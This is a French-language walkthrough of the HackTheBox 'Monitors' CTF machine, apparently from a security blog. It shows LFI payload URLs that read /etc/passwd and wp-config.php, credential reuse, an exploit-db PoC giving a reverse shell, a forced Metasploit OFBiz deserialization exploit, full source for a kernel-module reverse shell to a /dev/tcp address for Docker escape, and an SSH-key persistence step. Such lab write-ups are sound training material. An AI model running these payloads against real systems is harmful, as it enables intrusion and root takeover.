CTF — HackTheBox — Monitors

R Pion
ProHacktive
Published in
9 min readMay 31, 2021
  • IP de la machine Monitors : 10.129.0.0/16
  • IP de l’attaquant : 10.10.0.0/16
Caractéristique de la machine Monitors

Salut à tous, on se retrouve pour une machine Linux difficile : Monitors.

Le challenge est assez classique dans l’ensemble : on trouve la version d’un logiciel => on cherche un exploit. Il aborde une thématique que je n’avais jamais fait avant, l’escape de conteneur Docker. Bonne lecture! :)

Reconnaissance avec Nmap

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On commence par un scan nmap. On découvre 2 ports TCP ouverts sur cette machine :

  • Le port 22/tcp contient un serveur OpenSSH 7.6p1
  • Le port 80/tcp sera notre point d’entrée.

80/tcp — HTTP — Monitors— Reconnaissance

En essayant de joindre le service web par son adresse IP, nous obtenons le message d’erreur suivant,

Message d’erreur du service web 80/tcp

On nous dit clairement de rajouter cette entrée dans le fichier /etc/hosts

10.129.145.68 monitors.htb

On peut rescanner le port 80/tcp avec nmap via le hostname afin d’observer un nouveau résultat : Wordpress 5.5.1.

PORT   STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor – Taking hardware monitoring seriously

Voici le site web du challenge “Powered by Wordpress”.

Site web monitors

Nous allons lancer ‘wpscan’ un outil permettant d’énumérer les éléments du CMS Wordpress. (les versions, les utilisateurs, les plugins, les fichiers interessants etc…)

wpscan --url http://monitors.htb/

La sortie est assez grande, on remarque 2 choses :

  • Le XML-RPC est activé : utile pour s’authentifier (ou faire du brute-force)
XMLRPC activé
  • Un plugin a été installé : wp-with-spritz.
Plugin wp-with-spritz détecté par wpscan

En tapant sur google ‘wp-with-spritz exploit 4.2.4’, premier lien, on tombe sur l’exploit suivant : https://www.exploit-db.com/exploits/44544

Il s’agit d’une LFI (Local File Inclusion) et d’une RFI (Remote file inclusion).

  • Dans le cas de la RFI, il est possible de lire des fichiers sur une ressource distante. En mettant en place un serveur web côté attaquant, on peut héberger un script PHP reverse shell (celui de pentest monkey par exemple).
http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http://10.10.14.49:8080/shell.php

Cependant, le code PHP n’est pas interprété…

Code PHP hébergé côté attaquant non interprété
  • Dans le cas de la LFI, nous pouvons lire les fichiers stockés côté serveur, par exemple avec /etc/passwd.
http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
Résultat de la LFI : lecture de /etc/passwd

On peut lire la configuration du wordpress via l’url suivante,

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php

Nous obtenons les identifiants de la base de données,

DB_HOST : localhost
DB_NAME : wordpress
DB_USER : wpadmin
DB_PASSWORD : BestAdministrator@2020!

Toujours en utilisant la LFI, nous allons continuer notre énumération avec l’outil wfuzz et la wordlist de HackTricks : https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi-linux-list

wfuzz -c -w ./log_apache_files.txt --hw 0 http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=FUZZ
Output de wfuzz

Dans le fichier de configuration d’apache ‘/etc/apache2/sites-enabled/000-default.conf’, on remarque une nouvelle entrée (un nouvel ‘hôte virtuel’) à ajouter dans notre /etc/hosts.

Voici l’URL a consulter pour obtenir cette information,

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/etc/apache2/sites-enabled/000-default.conf
Découverte du nouveau ‘virtual host’ : cacti-admin.monitors.htb

Nous devons reseigner l’entrée suivante dans notre fichier /etc/hosts et consulter le nouveau site web.

10.129.146.145 cacti-admin.monitors.htb

80/tcp — HTTP —Cacti-admin— Reconnaissance

Page de login sur le nouveau site

Il a été possible de s’authentifier avec les identifiants suivants (ceux trouvé dans le wp-config.php) :

admin
BestAdministrator@2020!
Authentifié avec le compte admin

Nous avons un accès administrateur sur le site Cacti version 1.2.12.

En recherchant sur le net ‘Cacti 1.2.12 exploit’, on tombe sur un script d’exploitdb permettant une RCE via une injection SQL :

https://www.exploit-db.com/exploits/49810

On ne va pas dire non! On va lancer l’exploit via la commande suivante:

python3 poc.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.35 --lport 4444
Résultat de l’exploit

Nous n’avons plus qu’à attendre que l’exploit se lance afin de récupérer notre reverse shell sur le port 4444/tcp de notre machine.

ncat -nvlp 4444
reverse shell avec le compte www-data

Cependant, nous n’avons pas les droits de l’utilisateur ‘marcus’ pour le compromettre.

privilège insuffisant afin de compromettre marcus

Reverse shell— Get ‘marcus’ (user)

En regardant les fichiers concernant cacti, on trouve un fichier de service ‘/etc/systemd/system/cacti-backup.service’ faisant référence à un script : ‘/home/marcus/.backup/backup.sh’

cacti-backup.service

Cependant nous ne pouvons pas lister les fichier contenus dans le dossier de marcus, mais par contre, on peut y rentrer (permission d’exécution).

permission de .backup dans le répertroire /home/marcus

Nous connaissons la localisation du fichier ‘backup.sh’, il suffit tout simplement de le lire.

Mot de passe du compte ‘marcus’

Dans ce fichier, on trouve le mot de passe du compte ‘marcus’. Donc, nous trouvons les identifiants suivants:

marcus
VerticalEdge2020

Le compte utilisateur est alors compromis.

Compte utilisateur (marcus) compromis

Nous pouvons lire le fichier ‘note.txt’ qui sera surement la suite pour compromettre le compte ‘root’.

contenu de ‘note.txt’

Reverse shell — Docker

La note lu précédemment fait référence à une image docker. En lançant la commande PS sur la machine Monitors avec le compte ‘marcus’, nous remarquons les informations suivantes,

$> ps -faux
[...]
root 1343 0.0 1.1 978804 47444 ? Ssl 12:38 0:00 /usr/bin/containerd
root 2069 0.0 0.1 108820 5876 ? Sl 12:38 0:00 \_ containerd-shim -namespace moby [...]
root 2102 0.1 2.4 3344536 98224 ? Ssl 12:38 0:06 \_ /usr/local/openjdk-8/bin/java -Dorg.gradle.appname=gradlew -classpath /usr/src/apache-ofbiz-17.12.01/gradle/wrapper/gradle-wrapper.jar org.gradle.wrapper.GradleWrapperMain — offline ofbiz
[…]
root 1612 0.3 2.0 1049492 82660 ? Ssl 12:38 0:00 /usr/bin/dockerd -H fd:// — containerd=/run/containerd/containerd.sock
root 2057 0.0 0.0 553112 3940 ? Sl 12:38 0:00 \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443

Nous savons que :

  • Il y a une image docker avec le service Apache OFBiz en version 17.12.01 qui est en cours d’exécution.
  • Ce service est accessible et tourne sur le port 8443/tcp de la machine hôte.

En cherchant sur le net ‘Apache OFBiz 17.12.01 exploit’, On tombe sur un exploit permettant une RCE (remote code execution) via la désérialisation de JAVA en utilisant la fonctionnalité RMI (Remote Method Invocation).

Nous allons exploiter la vulnérabilité en utilisant msfconsole. Cependant, le service est accessible uniquement en locahost:8443.

Pour cela, nous devons faire du local port forwarding du service Apache OFBiz vulnérable (en 127.0.0.1:8443, de la machine Monitor) vers la machine de l’attaquant (en 127.0.0.1:8443, de notre machine). Voici la commande,

ssh -L 8443:127.0.0.1:8443 marcus@monitors.htb -N -v -v

Nous pouvons acceder à ce service via notre navigateur Firefox en allant sur l’URL : https://127.0.0.1:8443.

Service Apache OBFiz accessible en local sur notre machine

Voici le résultat du scan Nmap concernant ce service.

$> nmap 127.0.0.1 -p8443 -A
PORT STATE SERVICE VERSION
8443/tcp open ssl/https-alt
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
| ssl-cert: Subject: commonName=ofbiz-vm.apache.org/organizationName=Apache Software Fundation/stateOrProvinceName=DE/countryName=US
| Not valid before: 2014-05-30T08:43:19
|_Not valid after: 2024-05-27T08:43:19
|_ssl-date: 2021-05-19T13:24:30+00:00; 0s from scanner time.

En regardant un peu la documentation, on trouve l’URL de connection.

https://127.0.0.1:8443/partymgr/control/login
Mire de login Apache OFBiz

Nous pouvons lancer notre exploit avec msfconsole, voici les paramètres de l’exploit.

A noter que l’exploit ne fonctionne pas à la première exécution, en effet celui-ci dit que la cible ne semble pas vulnérable à cette exploit. Sauf que c’est faux (on est en 17.12.01 et l’exploit fonctionne pour les versions avant 17.12.04)! Nous allons tout simplement forcer l’exploitation via la commande suivante

msf6 exploit(linux/http/apache_ofbiz_deserialiation) > set ForceExploit True

Voici le résultat du lancement de l’exploitation, nous obtenons un session meterpreter.

résultat de l’exploitation

En laçant un shell via la session du meterpreter, on remarque qu’on est root !!! Sauf que nous le sommes uniquement dans le conteneur docker.

root dans le conteneur docker

Nous devons trouver un moyen d’utiliser ce conteneur Docker afin d’obtenir les droits ‘root’ sur la machine hôte Monitor.

Reverse shell —Root

En cherchant les techniques de Docker escape, je suis tombé sur un article de blog intéressant.

En effet, nous allons afficher les ‘capabilities’ de notre contexte. On remarque que la capability suivante est autorisée : cap_sys_module.

Cette capability va nous permettre, avec les droits root de notre conteneur, d’installer des modules kernel. En gros, la machine hôte s’occupe de charger les modules kernel pour faire fonctionner l’environnement Docker.

Nous allons créer notre propre module kernel. Pour cela nous allons récupérer les sources via notre reverse shell, les compiler et installer le module kernel malicieux.

Tout d’abord vérifions l’existance d’outil dans l’environnement Docker:

  • ‘make’ : permet de compiler notre module kernel.
  • ‘curl’ : permet de télécharger nos sources à compiler.

Voici les sources à uploader dans le Docker du serveur Monitor.

revershell.c

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.48/8888 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile

obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Nous allons ouvrir un serveur HTTP côté attaquant pour télécharger les sources depuis le conteneur Docker.

python -m SimpleHTTPServer 8080

Du côté du reverse shell Docker, voici les commandes à effectuer afin de récupérer et compiler les sources.

mkdir /tmp/tata/
curl http://10.10.14.48:8080/Makefile -o /tmp/tata/Makefile
curl http://10.10.14.48:8080/reverse-shell.c -o /tmp/tata/reverse-shell.c
cd /tmp/tata
make

Voici les logs du serveur HTTP, on voit que l’image Docker télécharge bien nos sources.

log du serveur HTTP

Voici le résultat des commandes exécutés depuis l’environnement Docker: téléchargement et compilation des sources.

Commande exécuté depuis le conteneur Docker

Le résultat de la compilation produit un fichier ‘.ko’ qui correspond au module kernel compilé. Nous allons mettre en place sur la machine de l’attaquant un listener sur le port 8888/tcp.

Tout est en place, nous pouvons charger notre module kernel depuis le Docker avec la commande suivante,

insmod reverse-shell.ko

Concernant notre listener NetCat, nous avons notre reverse shell avec le compte ‘root’ de la machine hôte Monitor.

Le challenge étant validé, nous pouvons obtenir un accès ‘comme à la maison’ en ajoutant notre clé SSH dans le authorized_keys du dossier /root/.ssh

echo "ssh-rsa [...] your_email@example.com" > /root/.ssh/authorized_keys

Nous pouvons nous connecter en utilisant SSH et en spécifiant notre clé privé!

Voila, merci de m’avoir lu. On se retrouve le mois prochain !

--

--